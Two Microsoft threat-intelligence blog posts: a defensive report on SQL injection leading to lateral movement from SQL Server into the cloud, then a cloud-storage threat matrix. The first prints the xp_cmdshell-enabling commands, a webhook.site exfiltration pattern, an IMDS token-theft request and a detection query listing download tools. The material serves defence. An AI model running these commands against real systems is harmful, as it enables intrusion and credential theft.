While the attempt to move laterally from the SQL Server instance can be considered new, the attack involved activities common to SQL Server attacks. For example, the initial access vector was a successful SQL injection attack that allowed the attackers to run queries on the SQL Server. The attackers launched numerous SQL statements to gather data about the host, databases, and network configuration. The information that the attackers collected included:

• Databases
• Table names and schema
• Database version
• Network configuration
• Readwritedelete permissions

We assess that it is likely that the application targeted with the SQL injection vulnerability had elevated permissions, thus granting the attackers a similar level of access. The attackers used this elevated permission to turn on the xp_cmdshell command, a method to launch operating system (OS) commands through a SQL query. Since xp_cmdshell is turned off by default to prevent exploitation, the attackers used the permissions they acquired to change the SQL configuration and ran the following commands to turn on xp_cmdshell:

1. “EXEC master..sp_configure ‘SHOW advanced options’,1; “RECONFIGURE WITH OVERRIDE;”
2. “EXEC master..sp_configure ‘xp_cmdshell’, 1; RECONFIGURE WITH OVERRIDE;”
3. “EXEC master..sp_configure ‘SHOW advanced options’,0; RECONFIGURE WITH OVERRIDE;”

After enabling xp_cmdshell, the attackers manually initiated a series of operating system commands to launch the next phases of the attack. By using xp_cmdshell, the attackers were able to operate as if they had a shell on the host.

To collect data, the attackers used simple methods such as reading directories, listing processes, and checking network shares. The attackers downloaded several executables and PowerShell scripts that are encoded and compressed. Most of the attacker’s actions from this point were through PowerShell commands, scripts, and modules.

For persistence, the attackers used a scheduled task to launch a backdoor script. In addition, the attackers tried to get credentials by dumping SAM and SECURITY registry keys.

The attackers used a unique method for data exfiltration: they utilized a publicly accessible service called “webhook.site”. This service functions as a free platform for inspecting, debugging, and receiving incoming HTTP requests and emails. Any request directed to this address is promptly logged. The commands are in this pattern: Command | Out-String ;Invoke-WebRequest -Uri https[:]//webhook.site/G-UID. Utilizing this method for data exfiltration allowed the attackers to operate discreetly when transmitting outgoing traffic, as the selected service can be considered as legitimate.

While looking at the technique used by the attackers to perform lateral movement, we encountered a familiar method implemented in a distinct environment: the attackers tried utilizing the cloud identity of the SQL Server instance by accessing the IMDS and obtaining the cloud identity access key. The IMDS is a RESTful web service that runs on a local IP address (169.254.169[.]254) and provides information about the VM, such as the VM’s region, tags, and the identity token. The identity token is a JSON Web Token (JWT) that contains the claims and the signature of the identity.

The request to IMDS identity’s endpoint returns the security credentials (identity token) for the cloud identity. For example, in Azure this request would look like: hxxp://169.254.169[.]254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/

With the identity token, the attackers can perform various operations on cloud resources that the cloud identity has access to. They can perform lateral movement across the cloud environment, thus getting access to external services. While the attackers in this case were unsuccessful in attempts to take advantage of this technique due to an error, we strongly recommend defenders to apply the best practices we provide in this blog post to protect environments against attacks that may use the same technique.

Conclusion

To summarize, this attack demonstrates the attempt to leverage cloud identities in a SQL Server instance for lateral movement. This is a technique we are familiar with in other cloud services such as VMs and Kubernetes cluster but haven’t seen before in SQL Server instances. We have observed numerous attacks attempting to leverage cloud identities in Kubernetes and are aware of the potential risks and impact that can result from unauthorized access to their identity tokens. Similarly, in SQL Server, cloud identities are also commonly employed and might possess elevated permissions to carry out actions in the cloud. Not properly securing cloud identities can expose SQL Server instances and cloud resources to similar risks. This method provides an opportunity for the attackers to achieve greater impact not only on the SQL Server instances but also on the associated cloud resources.

With the increasing adoption of cloud technology, attackers and threat actors are utilizing known attack techniques in new environments and are becoming more sophisticated. This evolving landscape of cloud-based attack techniques, with lateral movement being one of them, emphasizes the need for organizations to ensure strong defenses and safeguarding of critical assets in the cloud.

This attack also highlights the importance of least privilege practices when designing and deploying cloud-based and on-premises solutions. Attackers are often able to conduct further malicious activities through abusing over-privileged processes, accounts, managed identities, and database connections. In this case, organizations are recommended to ensure that all applications are updated and secured and are given only the necessary permissions and privileges, to avoid putting connected SQL Server instances, as well as other cloud resources, at risk.

Detection

Microsoft Defender for Cloud

The Microsoft Defender for Cloud helps to discover and mitigate potential database vulnerabilities and detects anomalous activities that may be an indication of a threat to SQL databases, SQL Servers on machines, open-source databases, and Azure Cosmos DB through Microsoft Defender for SQL.

The following Defender for SQL alerts might indicate threat activity like the threat described in this blog post:

• Potential SQL injection
• A possible vulnerability to SQL Injection
• SQL Server potentially spawned a Windows command shell and accessed an abnormal external source

As a cloud-based next-generation database protection solution, Defender for SQL is continuously updated with new detection capabilities and can now detect IMDS calls from SQL Server instances, the technique described in this article.

Microsoft Defender for Cloud also features Microsoft Defender for Resource Manager that analyzes Azure control plane operations to find abnormal behavior of cloud identities. This coverage can help find lateral movement activities in your cloud environment.

Microsoft Defender for Endpoint

The following Microsoft Defender for Endpoint alerts might indicate threat activity related to this threat, specifically the use of the xp_cmdshell command. Note, however, that these alerts can also be triggered by unrelated threat activity.

• SQL Server login using xp_cmdshell
• Suspicious SQLCMD activity

Mitigation

The vulnerability assessment solution in Defender for SQL can also detect vulnerabilities and misconfigurations in the database. Mitigating and responding to vulnerabilities reduces the attack surface of the SQL Server and can prevent potential attacks. One of the SQL vulnerability assessment rules involves the enablement of xp_cmdshell, providing a means to identify database instances where this setting is enabled.

With this coverage of the wide aspects of lateral movement in the cloud, and the correlations between them, organizations can strengthen their defenses and safeguard their critical assets from the risk of lateral movement. We also recommend following security best practices for managed identities to prevent lateral movement in the cloud. By implementing those security measures and adhering to the least privilege principle when granting permissions to managed identities, organizations can reduce the attack surface of those identities.

Hunting queries

Microsoft 365 Defender

Microsoft 365 Defender is becoming Microsoft Defender XDR. Learn more.

Microsoft 365 Defender customers can run the following query to find related activity in their networks:

SQL Server abuse

SQL Server offers a vast array of tools for automating tasks, exporting data, and running scripts. These legitimate tools can be repurposed by attackers. Because there are so many powerful commands an attacker might exploit, hunting for malicious activity involving SQL Server can be complicated.

This query detects instances of a SQL Server process launching a shell to run one or more suspicious commands.

let relevantCmdlineTokens = pack_array
("advpack.dll","appvlp.exe","atbroker.exe","bash.exe","bginfo.exe","bitsadmin.exe","cdb.exe","certutil.exe","cl_invocation.ps1","cl_mutexverifiers.ps1","cmstp.exe","Copy-Item","csi.exe","diskshadow.exe","dnscmd.exe","dnx.exe","dxcap.exe","esentutl.exe","expand.exe","extexport.exe","extrac32.exe","findstr.exe","forfiles.exe","ftp.exe","gpscript.exe","hh.exe","ie4uinit.exe","ieadvpack.dll","ieaframe.dll","ieexec.exe","infdefaultinstall.exe", "installutil.exe","Invoke-WebRequest","makecab.exe","manage-bde.wsf","mavinject.exe","mftrace.exe","microsoft.workflow.compiler.exe","mmc.exe","msbuild.exe","msconfig.exe","msdeploy.exe","msdt.exe","mshta.exe","mshtml.dll","msiexec.exe","msxsl.exe","netstat","odbcconf.exe","pcalua.exe","pcwrun.exe","pcwutl.dll","pester.bat","ping","presentationhost.exe","pubprn.vbs","rcsi.exe","regasm.exe","register-cimprovider.exe","regsvcs.exe","regsvr32.exe","replace.exe","rundll32.exe","runonce.exe","runscripthelper.exe","schtasks.exe","scriptrunner.exe","setupapi.dll","shdocvw.dll","shell32.dll","slmgr.vbs","sqltoolsps.exe","syncappvpublishingserver.exe","syncappvpublishingserver.vbs","sysinfo","syssetup.dll","systeminfo","taskkill","te.exe","tracker.exe","url.dll","verclsid.exe","vsjitdebugger.exe","wab.exe","WebClient","wget","whoami","winrm.vbs","wmic.exe","xwizard.exe","zipfldr.dll","certutil");
DeviceProcessEvents 
| where Timestamp >= ago(10d)
| where InitiatingProcessFileName in~ ("sqlservr.exe", "sqlagent.exe", "sqlps.exe", "launchpad.exe")
| summarize DistinctProcessCommandLines = tostring(makeset(ProcessCommandLine)) by DeviceId, bin(Timestamp, 2m)  
| where DistinctProcessCommandLines has_any(relevantCmdlineTokens) 

Microsoft Sentinel

Microsoft Sentinel customers can deploy the Azure SQL solution that allows security analysts and administrators to rapidly deploy a range of detection and hunting queries to their Microsoft Sentinel environment. For instance, the solution’s analytical rules assist in pinpointing unique SQL queries that attempt or succeed in executing commands – such as attempts to execute shell commands, suggestive of potential security risks. Additionally, the hunting queries will highlight instances where potentially risky stored procedures like xp_cmdshell are called upon.

Microsoft Sentinel has a range of detection and threat hunting content that customers can use to detect the activity detailed in this blog:

• Attempts to execute shell command
• Suspicious stored procedures like xp_cmdshell

If the Azure SQL Solution is not currently deployed, Microsoft Sentinel customers can install the solution from the Content Hub to have the rules deployed in their Sentinel workspace. More details on the Content Hub can be found here:  https://learn.microsoft.com/azure/sentinel/sentinel-solutions-deploy.

Sunders Bruskin, Hagai Ran Kestenberg, Fady Nasereldeen, Cloud researchers in Microsoft Threat Intelligence team

Further reading

For the latest security research from the Microsoft Threat Intelligence community, check out the Microsoft Threat Intelligence Blog: https://aka.ms/threatintelblog.

To get notified about new publications and to join discussions on social media, follow us on Twitter at https://twitter.com/MsftSecIntel.

The post Defending new vectors: Threat actors attempt SQL Server to cloud lateral movement appeared first on Microsoft Security Blog.

Cybercriminals target cloud storage accounts and services for numerous purposes, such as accessing and exfiltrating sensitive data, gaining network footholds for lateral movement, enabling access to additional resources, and deploying malware or engaging in extortion schemes. To combat such threats, the updated threat matrix provides better coverage of the attack surface by detailing several new initial access techniques. The matrix further provides visibility into the threat landscape by detailing several novel attacks unique to cloud environments, including some not yet observed in real attacks. The new version of the matrix is available at: https://aka.ms/StorageServicesThreatMatrix

 Of the new techniques detailed in this blog, several noteworthy examples include:

• Object replication – Allows attackers to maliciously misuse the object replication feature in both directions by either using outbound replication to exfiltrate data from a target storage account or using inbound replication to deliver malware to the target account.
• Operations across geo replicas – Helps attackers evade defenses by distributing operations across geographical copies of storage accounts. Security solutions may only have visibility into parts of the attack and may not detect enough activity in a single region to trigger an alert.
• Static website – Allows attackers to exfiltrate data using the “static website” feature, a feature provided by major storage cloud providers that can often be overlooked by less experienced users.

In this blog post, we’ll introduce new attack techniques that have emerged since our last analysis and cover the various stages of a potential attack on cloud storage accounts.

New techniques in the matrix

1. Reconnaissance

Reconnaissance consists of techniques that involve attackers actively or passively gathering information that can be used to support targeting.

DNS/Passive DNS – Attackers may search for DNS data for valid storage account names that can become potential targets. Threat actors can query nameservers using brute-force techniques to enumerate existing storage accounts in the wild, or search through centralized repositories of logged DNS query responses (known as passive DNS).

Victim-owned websites – Attackers may look for storage accounts of a victim enterprise by searching its websites. Victim-owned website pages may be stored on a storage account or contain links to retrieve data stored in a storage account. The links contain the URL of the storage and provide an entry point into the account.

2. Initial access

Initial access consists of techniques that use various entry vectors to gain their initial foothold on a storage account. Once achieved, initial access may allow for continued access, data exfiltration, or lateral movement through a malicious payload that is distributed to other resources.

SFTP credentials – Attackers may obtain and abuse credentials of an SFTP (Secure File Transfer Protocol) account as a means of gaining initial access. SFTP is a prevalent file transfer protocol between a client and a remote service. Once the user connects to the cloud storage service, the user can upload and download blobs and perform other operations that are supported by the protocol. SFTP connections require SFTP accounts, which are managed locally in the storage service instance, including credentials in the form of passwords or key-pairs.

NFS access – Attackers may perform initial access to a storage account using the NFS protocol where enabled. While access is restricted to a list of allowed virtual networks that are configured on the storage account firewall, connection via NFS protocol does not require authentication and can be performed by any source on the specified networks.

SMB access – Attackers may perform initial access to a storage account file shares using the Server Message Block (SMB) protocol.

Object replication – Attackers may set a replication policy between source and destination containers that asynchronously copies objects from source to destination. This feature can be maliciously misused in both directions. Outbound replication can serve as an exfiltration channel of customer data from the victim’s container to the adversary’s container. Inbound replication can be used to deliver malware from an adversary’s container to a victim’s container. After the policy is set, the attacker can operate on their container without accessing the victim container.

3. Persistence

Persistence consists of techniques that attackers use to keep access to the storage account due to changed credentials and other interruptions that could cut off their access. Techniques used for persistence include any access, action, or configuration changes that let them maintain their foothold on systems.

Create SAS Token – Attackers may create a high-privileged SAS token with long expiry to preserve valid credentials for a long period. The tokens are not monitored by storage accounts, thus they cannot be revoked (except Service SAS) and it’s not easy to determine whether there are valid tokens in the wild until they are used.

Container access level property – Attackers may adjust the container access level property at the granularity of a blob or container to permit anonymous read access to data in the storage account. This configuration secures a channel to exfiltrate data even if the initial access technique is no longer valid.

SFTP account – Attackers may create an SFTP account to maintain access to a target storage account. The SFTP account is local on the storage instance and is not subject to Azure RBAC permissions. The account is also unaffected in case of storage account access keys rotation.

Trusted Azure services – Attackers may configure the storage account firewall to allow access by trusted Azure services. Azure Storage provides a predefined list of trusted services. Any resource from that list that belongs to the same subscription as the storage account is allowed by the firewall even if there is no firewall rule that explicitly permits the source address of the resource.

Trusted access based on a managed identity – Attackers may configure the storage account firewall to allow access by specific resource instances based on their system-assigned managed identity, regardless of their source address. The resource type can be chosen from a predefined list provided by Azure Storage, and the resource instance must be in the same tenant as the storage account. The RBAC permissions of the resource instance determine the types of operations that a resource instance can perform on storage account data.

Private endpoint – Attackers may set private endpoints for a storage account to establish a separate communication channel from a target virtual network. The new endpoint is assigned with a private IP address within the virtual network’s address range. All the requests sent to the private endpoint bypass the storage account firewall by design.

4. Defense evasion

The defense evasion tactic consists of techniques that are used by attackers to avoid detection and hide their malicious activity.

Disable audit logs – Attackers may disable storage account audit logs to prevent event tracking and avoid detection. Audit logs provide a detailed record of operations performed on a target storage account and may be used to detect malicious activities. Thus, disabling these logs can leave a resource vulnerable to attacks without being detected.

Disable cloud workload protection – Attackers may disable the cloud workload protection service which raises security alerts upon detection of malicious activities in cloud storage services.

Private endpoint – Attackers may set private endpoints for a storage account to establish a separate communication channel from a target virtual network. The new endpoint is assigned with a private IP address within the virtual network’s address range. All the requests sent to the private endpoint bypass the storage account firewall by design.

Operations across geo replicas – Attackers may split their requests across geo replicas to reduce the footprint in each region and avoid being detected by various rules and heuristics.

5. Credential access

Credential access consists of techniques for stealing credentials like account names and passwords. Using legitimate credentials can give adversaries access to other resources, make them harder to detect, and provide the opportunity to help achieve their goals.

Unsecured communication channel – Attackers may sniff network traffic and capture credentials sent over an insecure protocol. When a storage account is configured to support unencrypted protocol such as HTTP, credentials are passed over the wire unprotected and are susceptible to leakage. The attacker can use the compromised credentials to gain initial access to the storage account.

6. Discovery

Discovery consists of techniques attackers may use to gain knowledge about the service. These techniques help attackers observe the environment and orient themselves before deciding how to act.

Account configuration discovery – Attackers may leverage control plane access permission to retrieve the storage account configuration. The configuration contains various technical details that may assist the attacker in implementing a variety of tactics. For example, firewall configuration provides network access information. Other parameters may reveal whether access operations are logged. The configuration may also contain the backup policy that may assist the attacker in performing data destruction.

7. Exfiltration

Exfiltration consists of techniques that attackers may use to extract data from storage accounts. These may include transferring data to another cloud storage outside of the victim account and may also include putting size limits on the transmission. 

Static website – Attackers may use the “static website” feature to exfiltrate collected data outside of the storage account. Static website is a cloud storage provider hosting capability that enables serving static web content directly from the storage account. The website can be reached via an alternative web endpoint which might be overlooked when restricting access to the storage account. 

Object replication – Attackers may set a replication policy between source and destination containers that asynchronously copies objects from source to destination. Outbound replication can serve as an exfiltration channel of customer data from a victim’s container to an adversary’s container.

Conclusion

As the amount of data stored in the cloud continues to grow, so does the need for robust security measures to protect it. Microsoft Defender for Cloud can help detect and mitigate threats on your storage accounts. Defender for Storage is powered by Microsoft Threat Intelligence and behavior modeling to detect anomalous activities such as sensitive data exfiltration, suspicious access, and malware uploads. With agentless at-scale enablement, security teams are empowered to remediate threats with contextual security alerts, remediation recommendations, and configurable automations. Learn more about Microsoft Defender for Cloud support for storage security.

Evgeny Bogokovsky

Microsoft Threat Intelligence

References

• https://attack.mitre.org/

Further reading

For the latest security research from the Microsoft Threat Intelligence community, check out the Microsoft Threat Intelligence Blog: https://aka.ms/threatintelblog.

To get notified about new publications and to join discussions on social media, follow us on Twitter at https://twitter.com/MsftSecIntel.

The post Cloud storage security: What’s new in the threat matrix appeared first on Microsoft Security Blog.